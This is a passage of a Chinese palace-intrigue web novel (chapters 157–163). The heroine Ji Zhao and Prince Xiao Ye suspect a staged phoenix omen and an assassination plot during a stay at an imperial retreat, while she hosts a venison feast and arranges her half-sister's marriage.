他瞧了她一眼,见她神色有变,想问。但又觉得当下贸然开口问不好。 正说话,魏曹公捧着一只素瓶插桃花过来。 纪昭见瓶子秀气,插着桃花很好看。 魏曹公笑道:“路过瞧见桃花好看,便折了一枝献给纪家大小姐。” 纪昭被他提点,笑道:“多谢魏公。” 萧烨见她喜欢桃花,道:“桃花很多。下午一起去。” 陈王:“好啊,我们也去打猎。山里的野物很多。” 驸马赵衍:“陈王不怕打到祥瑞吗?” 陈王哈哈笑:“若是能打到就不算祥瑞。” 他言语中对这所谓的祥瑞并不在意。 第158章 桃花林游玩 聊了一会儿,陈王与驸马赵衍回去准备。睿亲王萧烨送纪昭回院子。 纪昭犹豫了一会儿:“刚才殿下说到了民变,我想到旱灾才刚开始会蔓延到陈王的封地。” 萧烨蹙眉:“这个只是猜测,并不一定会产生民变。” 纪昭不知道要怎么解释清楚。 前世西南大旱是一直持续到七月份,比往年的大旱之年还长一个月。西南粮食与各类东西飞涨,大粮商囤积居奇。 大旱蔓延到了陈王的封地,流民也跟着逃过了过去。 陈王的封地本就粮少,突然多了流民根本招架不住。 到了七月最厉害的时候,闹了民变。府衙被冲,陈王府被抢,听说陈王落荒而逃,路上两个子女中暑而死。 陈王灰溜溜到了京城。 纪昭只记得这些小道消息,还是因为当时在佛堂病着,丫鬟晚秋偷偷出去买东西给她吃。 在集市上听了一耳朵回来告诉她。 事情很小且不关她的事,所以纪昭没有记在心里。 要不是今天萧烨提起“民变”两个字,纪昭压根想不起。 萧烨见纪昭皱着眉,问:“你怎么知道一定会有民变?” 纪昭敷衍:“只是常理推断而已。小心使得万年船。” 萧烨见她不说实话,不悦:“有话不要藏着掖着。有孤在,没人敢说你是妖孽。” 纪昭自觉不能在这个话上深说,换了个话头:“齐王说有祥瑞,我感觉有猫腻。” 萧烨点头:“很少人信这个,陈王就不信。” 纪昭:“还有,御驾在行宫有歌舞,还有戏班,太多人了,总觉得心里惶惶。怕有刺客。” 萧烨看了她一眼:“你是三年前救驾,杀得怕了?” 纪昭摇头:“倒不是。如果明刀明枪的来,我倒是不怕。就怕暗箭伤人,让人措不及防。” 萧烨沉吟半天:“从一到行宫,我也觉得处处哪儿都不对。” 原来两人都一样的感觉。 总觉得哪儿都怪,但又实在说不清楚。 最后萧烨:“我倒是希望你大胆妖孽断言几句。”省得两人猜来猜去,杯弓蛇影的。 纪昭苦笑:“我也想,但真的没头绪。唯一知道齐王有问题。” 萧烨:“那便盯牢了他。” 商量来商量去,最终定了这个。 纪昭说完肚饿,便打算告辞离开。 萧烨让人将花瓶递给她。 纪昭突然心虚——这花是苏玉臣摘给她的,要不是魏曹公偷换了个瓶子,还真的说不清。 她打定主意,以后连苏玉臣送的针头线脑都不能收了。 用过午膳,纪昭稍稍午睡后便换了一件骑装。 白沁雪与纪璇静一起来。 白沁雪见她如此打扮,问:“大姐姐要去哪儿打猎?” 纪昭:“睿王、陈王约打猎。” 白沁雪:“那我也能一起去吗?” 纪昭见她面露渴望,便道:“你要是想便一起。” 纪璇静却不去。她那边自有与公主郡主约着玩乐。对打打杀杀的不感兴趣。 等白沁雪去换衣衫时,纪璇静悄悄道:“沁雪她今日去见了一位叫做郑夫人,还拿了好些贵重东西回来。” 纪昭蹙眉:“郑夫人?哪位郑夫人?” 纪璇静:“听说是淮阳来的世家夫人,和安南太妃有姻亲关系。” 这么复杂? 纪昭瞧了纪璇静一眼:“你怎么知道那么清楚?” 纪璇静不是心思深沉的人,不可能探问得那么细致。应该是白沁雪故意说给她听的果然,纪璇静得意:“还不是因为我套话哄着沁雪告诉我。我厉害不?” 纪昭:“……” 纪璇静出去玩了。 纪昭瞧着她蹦蹦跳跳的背影,叹了口气。 纪昭趁着白沁雪还没来,问了教养嬷嬷。 陈嬷嬷:“安南太妃老家是衡阳,不是淮阳。就是不知道那位郑夫人是衡阳人还是淮阳人。” 纪昭蹙眉:“衡阳是大夫人的娘家。难不成是大夫人找的关系?” 陈嬷嬷:“就算是七绕八拐的关系,安南太妃也不顶用。她是个孤家寡人的老太妃,在后宫与其余几位老太妃安稳度日,见不到皇帝,也见不着皇后娘娘。” “倒是那位郑夫人,是哪位郑夫人?难道是郑家的大娘子?” 两位教养嬷嬷把怀疑的重点放在了郑夫人身上。 猜是猜不出来的,除非白沁雪自己出来说说。 白沁雪来了,纪昭这边也歇了揣测的心思。 纪昭见白沁雪换了利索的骑装,问:“你会射箭吗?” 白沁雪摇头。 纪昭又问:“你会使匕首吗?” 白沁雪又摇头:“不会。” 纪昭:“那你便跟着我别乱跑。这里山许多,有悬崖的。” 白沁雪显然不知道这是,明显有退缩的意思。 纪昭却没再理她,带着护卫,领着白沁雪向桃花林那边走去。 皇后还没来,但爱凑热闹的夫人和千金小姐们都来了。 在桃花林前搭了许多凉棚,丫鬟奴仆如云,鱼贯进出忙着拿茶点和茶水,还有置了酒水。 纪昭才刚去就被郑国公夫人拉着去。 她的凉棚设的十分精致,茶点精致,还有酒水。 郑国公夫人:“我带了桃花酿,应景得很。一会你得多喝两杯。” 纪昭:“一会儿还得骑马赏景,喝不了。” 郑国公夫人笑道:“不碍事的,酒酿不容易醉人。” 正说着话,郭国夫人送了好东西前来。 她让人提了瓜果,还有南边才有的杨梅,看得人十分稀奇。 郑国公夫人:“杨梅怎么运的?” 郭国夫人十分得意:“顺着漕运来的,路上坏了大半,也只捡了这么一小筐尝尝鲜。过了今日就不能吃了。” 如此靡费,郑国公夫人都咋舌:“皇上那边送了没?” 郭国夫人:“送了,皇后与贵妃那边也都送了。余下这点拿来与夫人,还有与小友一起尝尝。” 纪昭吃了一颗,酸甜可口,汁水很多,偶尔滴落在桌上像血似的。 她吃了几颗就不吃了。 郭国夫人:“纪小友怎么不吃?不能留着的,会坏的。” 纪昭:“其实可以做杨梅酒,做法和青梅酒一样。” 郭国夫人眼睛亮了:“我怎么没想到。妙!这以后便多了一种果酒了。” 郑国公夫人也笑了:“你看,还是纪大小姐聪明。今日吃不完的让人做成杨梅酒,别有一番滋味。” 两位夫人笑了。 她们喜欢宴饮,热衷吃喝玩乐追求极致和雅趣。 纪昭随口这一说,很得她们的胃口。 正说话,外面有内侍唱着皇后、庞贵妃凤驾一起驾到。 郑国公夫人起身整了整衣衫,拉着纪昭的手:“走,拜见过皇后与贵妃,我们便能自己游玩。” 她顿了顿,眼角余光瞧见白沁雪。 “你那个表妹不要领着去。” 第159章合伙让陈王做冤大头 纪昭脚步顿了顿。 白沁雪一路跟着来并没有多张扬高调,而是和晚意和晚秋两个丫鬟一处。看起来和得脸的丫鬟差不多。 没人注意她。 纪昭没想到郑国公夫人对白沁雪分外厌恶,点明了不许让她出头。 纪昭随着去拜见了皇后与庞贵妃。 皇后打扮中规中矩,不失母仪天下的体面。庞贵妃却换下繁复的服饰,穿了一件茜素红的骑装。 骑装颜色很艳丽,衬得庞贵妃的容色极盛,灼灼明艳。 她还戴了点翠凤簪。 点翠做得极华美,四根承上扬的姿态,宛若凤尾。 庞贵妃心情极好,对皇后道:“听齐王说来京的路上见到了祥瑞,是凤凰呢。” 皇后含笑:“这几年皇上多施行仁政,祥瑞不断。” 庞贵妃听了这话没引到自己想说的意思上。 于是笑道:“凤凰一般指的是女子,说不定是为了皇后而来。” 皇后看了她一眼:“怎么会是本宫呢?本宫年纪大,还做了近二十年的皇后。” 庞贵妃笑了笑,不说话了。 随后便是许多公主、王妃、郡王妃,还有诰命夫人和千金小姐们过来向皇后叩拜请安。 庞贵妃肆意任性,不耐烦繁文缛节。 她应酬了几人就要走。 唤了女侍卫,带上有功夫的牵马内侍,便要进山林游玩。 眼角余光瞧见纪昭,庞贵妃驻足招呼:“准睿王妃有没有兴趣与本宫一起进山林打猎玩玩?” 她这么说,其实不容纪昭拒绝。 纪昭想要推辞却不知道该怎么说。 此时,黄尚宫匆匆跟出来,笑道:“准睿王妃原来在这儿,睿王找你。” 纪昭对庞贵妃歉然告辞。 庞贵妃似笑非笑:“睿亲王还真是上心,生怕本宫吃人似的。” 她的话带了几分责怪。 黄尚宫笑呵呵:“贵妃娘娘千万别被扫了兴致。皇后娘娘也说要准睿王妃说话呢。” 庞贵妃笑了笑,前呼后拥走了。 纪昭前去皇后那边。 皇后笑容很淡,带着一丝丝忧虑:“贵妃刚才说了一番话,让我不得不多想了些。见她要招呼你去,我让黄尚宫把你带回来了。” 纪昭问庞贵妃说了什么。 皇后:“她说凤凰指的是女子。我觉得她在肖想皇后之位。” 纪昭皱眉。 她不能说庞贵妃到死都没当上皇后,最后是和三皇子一起里应外合反了。 不过庞贵妃现在能这么说,可能有什么阴谋要对皇后不利。 皇后在深宫近二十年,不可能什么都听不懂。 黄尚宫在旁轻声说:“依我之见,纪姑娘会招蝴蝶,还会招玲珑鸟,也许到时候庞贵妃说凤凰祥瑞是冲着纪姑娘来的。谣言传说纪姑娘有凤命那可怎么办?” 皇后与纪昭听了这话,怵然而惊。 皇后脸色越发凝重:“千万不能让这事发生在你身上。” 纪昭心有余悸:“是,万万不可。这要是被人说成了那样,纪家满门都不够砍头的。” “最后还会连累了睿亲王。” 好一招一石三鸟。 如果这谣言安在了纪昭头上。 那有“凤命”的是纪昭,萧烨便是有“皇帝命”的权王。除非纪昭立刻改嫁给皇帝,不然她断然不能留,纪家一只苍蝇都留不得。 好毒! 好狠! 纪昭越想越是害怕,背后冒出了细密的冷汗来。 睿亲王萧烨来了。 他进了凉棚瞧见几人脸色不对,问了缘由。 皇后说了。 萧烨阴沉了脸:“这话她敢这么说?” 皇后挤出笑容:“也许她不敢这么做。” 萧烨瞧了她一眼,恨铁不成钢:“皇嫂,你吃了那么多亏,还觉得她什么事都不敢做?” 皇后闭嘴了。 萧烨称呼她“皇嫂”便是说心腹之言。她得听。 萧烨见纪昭脸色不好看,说了一句:“你怕什么?有孤在,落不到你头上去。” 话是责备,但无形中令纪昭安定下心思来。 萧烨让人将陈王和澹台明镜唤了进来。 陈王不知道情况,满脸笑容催促:“老十四,快,快,我们去玩。” 萧烨:“你就知道玩。齐王和庞贵妃暗中使坏,要让你封地闹民变,还要把凤凰祥瑞弄你头上。你快完了!” 陈王:“!!!” 皇后:“……” 纪昭:“……” 澹台明镜笑得很难看:“这是我该听的吗?我,我什么都没听见,我要出去了……” 数道目光齐刷刷看着萧烨,只等他说下一句。 陈王呆愣半天,哭了:“为什么?我可什么都没做。我,我我,我都躲到了陕南那鸟不拉屎的地方了,还要我怎么样?” “老八真是个坏人,我要让皇上做主。” 他说着要冲出去找皇帝。 萧烨按住他:“你还不知道为什么?好好想想!” 陈王双目无神,想了半天,结结巴巴:“我没得罪他啊。从小到大他都被先帝夸着,我还替他背了几次黑锅。我哪有得罪他?” “他也不屑与我来往。逢年过节,他给我送的东西都稀松平常。老十四,你作证,我真的没的罪过他。” 皇后实在是不忍心:“十四,别吓你九哥。” 萧烨面无表情:“我没吓他。齐王要九哥的封地,这次什么祥瑞就是冲着九哥来的。” “九哥,你赶紧想想到底是为了什么事他要与你作对。” 陈王十分难受:“他要我封地,封地……为什么要我封地?我那封地没人要啊。金矿!我知道了!沃日他……” 他跳了起来,差点骂娘,但一想到骂了齐王等于骂了自己又及时住了口。 陈王捋清楚思路后,说得很急:“前两个月我封地有人传说发现了一处金矿,还有人说不是金矿是铁矿。 可是官府派人去探寻了,回来说都不是,是一条青石矿。只是里面有的石头瞧着金光闪闪的便以讹传讹说是金矿。” 一直想走又不敢走的澹台明镜突然道:“铁矿不可能是金光闪闪,在天光与月光下都不可能。这谣言应该是真的。” 陈王迷茫:“铁器不是在天光下闪闪的吗?” 这话一说出来,众人都静默了一瞬。 纪昭突然觉得陈王做这个冤大头一点都不冤枉。 澹台明镜叹了口气:“陈王知道陕南为什么出粮食少吗?” 陈王茫然:“为什么?它本来就很难耕种,山多,山沟也多,没几块好平整的地方种地。” 众人又静了静。 澹台明镜:“因为陕南那边的土和中原的土不一样,铜铁矿很多。既然有铜铁就有可能探到金矿。” “就算不是金矿,若是一条极丰厚的铁矿也极厉害了。” 陈王一知半解,点头:“哦,原来如此。老八要的是矿……” 第160章庞贵妃的威胁和警告 陈王十分生气:“说来说去要矿就直说,为什么要害我?” 萧烨:“为什么害你,你还不明白吗?” 陈王依旧很生气:“你说说看。” 萧烨:“因为他一直欺负你傻。还有,你娶了他青梅竹马的女人。” 陈王愣住:“不是吧?许侧妃吗?” 萧烨点头。 陈王脸一阵红一阵白:“是这么回事吗?可是我瞧着老八还去吃我的喜酒。” 皇后终是最心善:“十四,不要吓你九哥。许侧妃与齐王没有什么男女私情,你千万不要一个猜测就害了许侧妃。” 萧烨瞧了皇后一眼:“我没有。他们的确是青梅竹马。” 陈王突然想起什么,怒气冲冲:“许家与齐王挺亲近的。他们见过面。” 陈王在凉棚里怒骂了齐王好久,是被劝着离开的。 在外不宜讨论这等秘事太久,几人又说了一会儿话就各自散了。 陈王由澹台明镜带着走了。 萧烨带着纪昭离开去往桃花林。纪昭看见成片的灼灼桃花,脑子总算清醒了些许。 她在马上,靠近萧烨:“睿王怎么突然骗了陈王?” 萧烨瞧了她一眼:“孤允许你揣测一下。” 纪昭:“……” 半天,纪昭低声道:“齐王和庞贵妃联手是肯定的,只是不知道他们要做什么。” 萧烨面无表情:“接着说。” 纪昭:“不管他们要做什么,肯定不会针对陈王。陈王没有价值。殿下无中生有,便是让陈王去搅局。只有水越浑,才能对我们更有利。” 萧烨轻轻点了点头:“你点题了。接下来呢?” 纪昭:“小女想了半天,以陈王的性子也许现在会跑去找皇帝告状。” 萧烨勒住马,似笑非笑:“你倒是了解他。怎么猜出来的?” 他不急于往前走,纪昭便知道自己猜对了。 纪昭:“不是小女了解陈王,而是兄弟姐妹聚一起玩闹,总有个最聪明最容易使坏的孩子,也总有一个最笨最倒霉的孩子。天长日久玩一起总会起了龌龊。” “聪明孩子总是会欺负倒霉孩子,倒霉孩子也总是会去找父母告状。陈王胆小,志向不高,冷不丁又要被欺负了,还是塌天大祸,肯定会找皇帝告状。” “陈王会说,齐王要弄一些什么祥瑞来害他。为什么会害他,因为封地有金矿,还有齐王喜欢许侧妃……总之真真假假一堆理由。皇帝对陈王的话半信半疑。但就算不全信,也会信了五分。因为陈王一直是那个倒霉孩子。” 萧烨摩挲着手中的缰绳,点头。 “你还算聪明。目前为止都猜中了。就算陈王不去告状,澹台明镜也会撺掇他去告状,劝他明哲保身。” 纪昭忍不住笑:“澹台公子挺心累。听的都是杀头的八卦。” 想起刚才澹台明镜那欲哭无泪的样子,纪昭就想笑。 萧烨:“让陈王去告状,便能将我们一干人的嫌疑都摘了。因为不管是什么祥瑞,落在皇后,我,还有你身上,都是杀头的祸事。” 纪昭心服口服:“睿王殿下极其英明。” 萧烨冷峻的脸上没有半分得意:“行军打仗就是如此。要做好防御,垒城墙,聚兵马,囤粮草,接下来便是真刀真枪,见血见肉。” “如今防御做好了,接下来是硬仗。” 他黝黑的深眸瞧着纪昭:“你有没有信心?” 纪昭:“有。” 萧烨点头:“既然有,就随孤神挡杀神,佛挡杀佛。” 他一夹马肚,身下的乌云踏雪轻轻一跃已经跑了好几丈。纪昭不敢落后,催促马儿跟上。 一黑一金在桃花林中疾驰,如履平地。 一个下午,纪昭随着萧烨在桃花林中四处走动。与其说是打猎,不如说是寻所谓的祥瑞。 野鸡见了不少,但绝对称不上能以假乱真的所谓凤凰。 因为在行宫附近,猛兽早就被驱赶走了,所以虎豹豺狼不见踪影。山兔、野羊、野鹿猎了几头。 停下来歇息时,纪昭:“也许只是放一个烟雾,引得我们去找。” 萧烨:“不,应该有。只是什么时候放出来,和怎么放,他们有缜密的计策。” 纪昭蹙眉。 这样无异于大海捞针。 果然是没戏本的坏处,现如今都不知道敌人要怎么出手。 一直在山林中游荡到了傍晚,遇到了尽兴而归的庞贵妃。 庞贵妃满脸红光,香汗涔涔,看来玩得很是尽兴。 纪昭瞧了一眼,随行的侍卫马上带的猎物不少,甚至有一只狍子。比他们这一行猎的还多。 庞贵妃笑:“睿王的马很好。皇上得了四匹,竟给了你两匹。这份荣宠是皇子都拿不到的。” 她在为三皇抱不平。 曾经三皇子练骑射时也曾求过汗血宝马,但皇帝没给,只赐了矮小的蒙古马。 萧烨:“因为我懂马,给我有用。” 庞贵妃似笑非笑看向纪昭:“准王妃也懂马?” 萧烨:“她自然是懂马的。” 庞贵妃抿嘴笑了笑:“又护着你的媳妇。真是一句话都不肯吃亏。” 她走到纪昭面前,杏眼弯弯:“准王妃是个有福气的人。立下救驾之功才能攀上睿亲王。不知道如今还有什么运气,能让你再立个泼天的功劳。” 她说完,笑咪咪招呼侍卫走了。 纪昭蹙眉瞧着庞贵妃的背影,良久不语。 萧烨:“她说了什么?” 纪昭:“她在威胁我。” 她将庞贵妃那奇怪的话重新说了一遍。 萧烨冷笑:“她不但威胁你,还下了战帖。她明明白白告诉我们,皇上还要遇刺一回,就看我们接得住还是接不住。” 纪昭:“贵妃也不怕我们去告诉皇上。” 萧烨:“没把柄,她当然无所畏惧。” 纪昭心头沉甸甸的,像是压了一块铅。 她看了看暮光:“天色不早了,我们回吧。” …… 回到了落脚的院子,纪昭稍微梳洗下就靠在茶室中煮茶静思。 今日发生的事太多,头绪很乱。 所谓的草蛇灰线,伏脉千里。她没捉到那个“脉”,自然是看不清楚。 不过,纪昭觉得自己离真相很近很近。 晚秋悄悄进来:“跟着的人瞧见了表小姐去见了一个神秘的男客。” 纪昭挑眉:“看清楚是谁吗?” 晚秋:“不敢太凑近,有望风的人,是唱曲班的戏子。” 戏子? 纪昭蹙眉:“她应该不认识唱曲或唱戏的人。一定有人给她牵线搭桥。” 突然,纪昭想到了什么,眼瞬间亮了。 第161章 炙烤鹿肉宴 纪昭小时候玩过九连环。 但她一直没耐心也没巧思,结果便是九连环到了她的手中还是一团乱。 可她见过晚意玩过,先是看了一会,然后只解了一个环。 接下来便各归各位,顺滑得不得了。 所以一旦最关键的点想透了,那便是其余的谜团都能解了。 纪昭心情舒畅,对晚秋道:“让盯着的人都回来,先不要打草惊蛇。” 她又吩咐:“让晚意料理下鹿肉,再去找郑国公夫人讨两坛上好的桃花酿。今晚我要在院子里炙烤鹿肉。要让大家一起热闹热闹。” 见纪昭兴致这么浓,晚意和晚秋都动了起来。 两位教养嬷嬷也难得有了松泛的心思,跟着去帮忙。 纪璇静、纪灵闻讯而来,在院子里洗一些野菜,说是炙烤鹿肉的时候卷上好吃。 院子里闹哄哄的,人人高兴。 白沁雪回来了。 她见满院子的人都在,吓了一跳:“在做什么?” 晚意提着一把带鹿血的刀,一边拎着鹿肉,将纪昭要办炙烤鹿肉宴说了。 白沁雪脸色变了变:“这……可以的吗?” 陈嬷嬷:“可以的。在行宫中向来不拘着贵人们玩耍。皇上与皇后今夜也宴饮,还听歌舞。我们只要不把院子点着了就是。” 纪昭站在廊下,问:“表妹要不要晚间一起吃鹿肉?” 白沁雪挤出笑:“我这两日着了风热,咳嗽了,不能吃大补大热的东西。酒也不能喝的。” 纪昭:“可惜了。这鹿还是睿王亲自猎的呢。” 纪璇静加了一句:“桃花酿是郑国公夫人给的,好香好香。” 白沁雪柔柔道:“几位姐姐玩吧。我今日出去玩了一遭,晚上想去泡泡温泉。” 纪昭:“夜半你一个人不害怕吗?” 白沁雪:“池子就在沐云阁,不算偏僻,有几位公主郡主们要去的。” 纪昭似笑非笑:“你不怕遇到不干净的东西就行。” 白沁雪瞧了她一眼,直觉纪昭在骂人,但没证据。 她对纪昭歉然笑了笑,带着丫鬟芳菲回了自己的屋中去了。 纪昭瞧着她逃也是的背影,唇边勾起意味深长的笑。 …… 很快,纪昭要在院子里办炙烤鹿肉宴的消息飞了出去。 纪蕴听说了此事,竟然悄悄来了。他甚至还拉来了周行知。 纪蕴:“大姐姐,这么好的事你怎么能一人独享?” “对了,这位是周师兄。他大我两岁。苏郎君说让他这些日子与我一起玩。我就带着他来了。” 周行知略有些害羞,红着脸与纪昭见了礼。 纪昭简直要给纪蕴重重打赏了。 她含笑让丫鬟给周行知拿椅子,温声询问他的课业。 周行知一一作答,不急不躁。没有半点刚立功骄矜的神气。 纪昭很满意。 她做鬼后变得看人很准——周行知是能做大事的人,只是出身太低了些,得将来靠努力。 前世周行知和纪灵没缘分,现在姻缘线牵了,就看纪灵造化。 纪灵来了。 她见到周行知也莫名害羞起来,上前问了好就躲在晚秋身边整理炙烤宴的菜肴。 院子里灯笼点上,几处炙烤的碳火也升起了。 丫鬟们还在做最后的布置。 纪昭干脆开门见山,抓住这个难得的机会:“周公子,苏郎君应该与你探问过。不知你对我家二妹可否有好感?” 周行知的脸红了起来,低声道:“我的婚事要由父亲做主,嫡母也得参详。我不能一人决定。” 纪昭含笑:“这个是自然的。只是我性子急,知道你与灵儿见过几次面。如今男未婚,女未嫁。我想先探问周公子的意思。” “若是周公子对我妹妹意思尚可,那便会让人搭线去与府上商议婚事。” 周行知飞快瞧了一眼跟着丫鬟摆弄鹿肉的纪灵。 “二小姐很温柔,还不张扬。挺好的。” 纪昭很灵敏捕捉到了“不张扬”三个字的评价。 温柔、貌美,看来都不是打动周行知的优点。他看一个女子,看得是脾性。 纪灵的性子很柔弱,甚至可以说是自卑、怯弱。 还因为自卑怯弱,差点走上歪路。不过幸好纪昭及时将她拉回,所以纪灵不算长歪。 周行知是庶子。 在这么大的世家中,从小与各房的嫡子、庶子,还有旁支的子弟一起在族学中用功努力,他是有些处世之道的。 他的处世之道就是“低调”。 所以纪灵的不张扬,很受周行知的喜欢。 他要娶的妻子断断不可能是很有主意,很张扬的女人。 那种女人会给他惹来祸事。 纪灵不一样,她温柔听话,还因为纪昭的缘故,身份上这缺点也抹平了差距。 纪昭含笑:“周公子对我妹妹评价很中肯。看来是有意了。” 周行知终究是年少,红着脸道:“多谢大小姐成全。” 这话便是此事成了。 纪昭的心又松了一层。 炙烤鹿肉很简单,但却是最火热的。 小小院子里摆开三桌,纪昭、纪璇静、纪灵一桌,纪蕴和周行知自己一桌,其余的得脸的贴身丫鬟和嬷嬷一桌。 粗使下人便在院外搭了个小矮桌,也能吃上。 纪昭从小在军营长大,尊卑观念不是那么重,所以上的肉和菜,还有喝的酒都一视同仁。 鹿肉烤得很香,桃花酿也很好喝。 纪昭喝了几杯,就静静笑着瞧着满院的人。 挺好的,这里热闹暖和。外面自有人阴谋诡计去争去抢。 她稳坐钓鱼台,等着鱼去咬钩。 …… 纪蕴正在长身体,吃了许多鹿肉,直呼过瘾。 周行知克制很多,用了一些,喝了点酒。 他问纪蕴:“你大姐姐真是有男子的气度,光坐在那边像定海神针似的。” 纪蕴:“从前她不这样,咋咋呼呼的,我都烦她。家中人也不待见她。” 周行知心中一动:“她是侯府嫡女,怎么不受待见?” 纪蕴瞥了他一眼:“从小就在军营中长大,没读书,粗俗,还鲁莽。” 周行知摇头:“人的本性不是以读书看的。你听过一句话没?江山易改本性难移。你大姐姐心里很沉稳,很有头脑的。” 纪蕴放慢嚼肉,半信半疑:“真的?我竟看错了我大姐姐?” 周行知:“那是。若是你从小丢入军营,你现在会怎么样?” 这话竟把纪蕴问住了。 他一想到练武的苦楚,还有教授武功师父的怒吼和谩骂,只觉得头皮发麻。 “如果我从小被丢入军营,我一定会很伤心,然后和那些武夫一样满口脏话,粗俗,急躁。不,我可能吃不了那个苦。” “那可是西北军营。” 第162章 放长线,钓大鱼 纪蕴突然醒悟过来,鹿肉也不吃了。 周行知瞧见他的脸色变了几次,知道他惊醒了。 周行知低声道:“我要是有你这么个大姐姐,也不至于……” 他低低叹了口气,不再说话。 纪蕴擦了擦嘴:“周师兄,我明白了。你不用说。” 两人便岔开话头,喝了点酒就早早告退。 他们年纪小,但本朝讲男女不同席,是以不敢在纪昭的院子里吃喝太久。 纪昭没吃多少,喝的桃花酿也没多少杯,脸却红得很。 她借口不胜酒力,早早回屋喝醒酒的梅子汤。 屋外,纪璇静带着一帮丫鬟还在笑闹。 纪昭漱了口,对晚秋道:“这个疯丫头,还得闹半个时辰。闹的四边都知道我们纪家有个顽皮的堂小姐。” 晚秋笑:“难得出来玩一趟,堂小姐喜欢便由她去了。” 纪灵进屋子来。 纪昭让晚秋退下,亲自对她说:“周公子对你也有意。我亲自问了,他说你温柔贞静。” 纪灵又惊喜又羞,捂着脸。 纪昭:“周公子是学识很好的人。你若是要与他婚后琴瑟和鸣,书也得看起来。” 纪灵赶紧点头:“是,大姐姐为我谋划,我一辈子感激不尽。” 纪昭:“我这么帮你,无外乎一是姐妹,二也要你的忠心。从前你我也许没什么关系,但从今日起,我便要求你替我办事。” 纪灵跪下:“大姐姐看得上我,是我的福气。” 纪昭将她扶起来:“我不会让你干什么丧天良的事。从前不会,以后也不会。但你要记住,你我都姓纪。我好了,你将来在夫家才好。这个道理你可懂?” 纪灵点头。 纪昭:“你虽然年纪小,但府中人与事你自小看着的。谁好谁坏,你最是门清。以后得用上你甄别这些内鬼坏人。” 纪灵又点头。 纪昭吩咐完了,让她回去。 至此,收了庶妹纪灵才算是彻底。而且纪昭觉得能用纪灵到成亲之后。 因为纪昭很看好周行知。 此人以后铁定不是池中之物。 …… 鹿肉宴到了月上树梢时便到了尾声。 有个小内侍悄无声息地进来,低声道:“那人去了戏台,唱了一支曲,皇上使人到处问呢。魏公公查到了,但没告诉皇上。” 纪昭眸色一闪,随即冷笑:“哦?竟然是我想的那样,皇上的主意都敢打。” 小内侍看看四周,凑近一步。 压低声音:“魏公公使奴婢来问大小姐,那人用的是‘欲擒故众’的伎俩,要不要揭穿她?” 纪昭想了想,摇头:“她既然使了这计策,就是等着以后的大招。先不管她。” 小内侍皱眉,很不能理解。 纪昭耐心解释:“你瞧我今夜故意设了鹿肉宴。四边的院子都知道这事,她独自去勾引皇帝。这事就与我无关。我得先撇清关系。“小内侍静静听着。 纪昭知道他要去回给魏曹公听,又说:“撇清是防御。我等着她出最后大招。我总觉得那所谓的祥瑞是要应在她身上。” “她所图很巨大。” 小内侍平凡无奇的脸上终于动容。 纪昭:“你就把我说的给魏公公听就是。六个字——放长线,钓大鱼。” 小内侍点头,悄悄走了。 纪昭等人走了,唤来晚意和晚秋收了院中的餐食。然后让丫鬟服侍梳洗。 梳洗完毕,纪昭看着墨蓝色天上的明月。 心情很开阔,很舒爽。 她渐渐沉入睡梦中。 一夜好睡。 第二天纪昭醒来,太阳已经出来。晨光清秀,山林中鸟鸣清脆,触目所见草木葳蕤,山花娇艳。 纪昭梳洗完毕,招呼纪璇静和纪灵一起用早膳。 纪璇静身边的丫鬟芳翠前来,道:“堂小姐昨儿喝多了,半夜闹肚子闹了大半宿,今早补眠呢。” 纪昭问:“可找了大夫瞧瞧?” 芳翠:“奴婢要请大夫,但堂小姐不肯,说吃点理气丸就行了。吃了后,好些了。” 纪灵倒是来了。 她眼下有一层青黑,看样子昨夜也没睡好。 纪昭笑:“你怎么的也闹肚子?” 纪灵羞红了脸:“没,就是喝了几杯酒,睡不安稳。” 纪昭知道她脸皮子薄,并不点破。招呼她用了点米粥,放她回去睡一会儿。 白沁雪身边的丫鬟芳菲前来:“大小姐,表小姐昨儿泡汤,吹了风。这两日都得养着。” 纪昭似笑非笑:“表妹也生病了。三个姐妹,竟就只有我还好好的。” 芳菲支支吾吾:“表小姐也说可惜,但奈何身子不争气。” 纪昭挥手:“罢了,你让她好好歇歇。要是病得重了,我去请太医来给她瞧瞧。” 芳菲:“这哪敢,只是风寒而已。” 等芳菲离开,晚秋捧了帕子前来:“大小姐放心,都让人都盯着呢。” 纪昭笑了笑,给自己细细净了手,然后让教养嬷嬷教怎么打理合适的妆容。 教养嬷嬷什么都教,纪昭也愿意什么都学。 正说着话,郑国公夫人派人来约她晌午去赴宴。 郭国夫人的帖子也同时来了,甚至还有贞祈长公主也下了帖子。 纪昭思量了下,还是赴郑国公夫人的约。 郑国公夫人住碧水阁。 楼阁很大,临山崖而建,在二楼阁中便能欣赏四面山峦风景。而初夏时节的山特别好看,红的黄的嫩绿的,一簇簇树芽犹如花似的在山峦中间显现。 还有桃花梨花,粉白,粉红,美得可以入画。 纪昭前去时,正好郑国公夫人与齐家夫人说着昨儿的八卦。 郑国公夫人:“昨半夜宴饮尾声,有个歌姬突然清唱了一曲。皇上本昏昏欲睡,听了这歌声入了神。等回过神,那歌姬就不见了。” “皇上还派宫人去寻,没寻到。” 齐家夫人磕着瓜子,不轻不重哼了一声:“这些贱籍女子惯常用这等手段来勾引人。” 郑国公夫人意味深长笑了笑:“不得不说,这招用的极好。如今皇上还在派人寻呢。你说,为何内厂都督魏公公平日查案那么快,就是寻不到这歌姬呢?” 齐家夫人不屑冷笑:“也许是山林精怪现身,唱了一曲就跑了。” 其余的夫人听了这话纷纷笑了起来。 纪昭上前见过诸位夫人。 郑国公夫人笑道:“昨夜准王妃没去天籁殿听曲。昨儿那边有一出好戏呢。” 纪昭佯装不知道那件事,笑道:“昨儿睿亲王猎了一头鹿,我与几位堂妹庶妹在院子里炙烤鹿肉吃。也挺有意思的。” 郑国公夫人:“那昨夜有没有听内厂查人?” 纪昭摇头:“不曾。” 郑国公夫人点头:“你那院子离得远了些,又与妹妹们玩闹,自然是不知道。” 第163章贞祈长公主的野心和贪婪 正说话,贞祈长公主突然前来,还带着几位贵女。 这几位贵女很面生。 她们是高阳甄家二小姐甄晚照、淮南容家大小姐容茹月,还有京城齐家嫡三小姐,齐景和。 剩下两位分别是与庞家旁支的庞四小姐,庞菁,还有一位是世族郑氏的小姐,郑招儿。 贞祈长公主见到纪昭,笑道:“我是比不过郑国公夫人的,头一次请了准王妃,你不来。” 纪昭拿不准贞祈长公主的脾气,于是看向郑国公夫人。 郑国公夫人笑道:“长公主这话可说错了。是我让准王妃来的,要怪就怪我。” 纪昭欠身:“长公主莫怪罪,先前答应了郑国公夫人的帖子,而后才收到长公主的帖子。实在是分身乏术。” 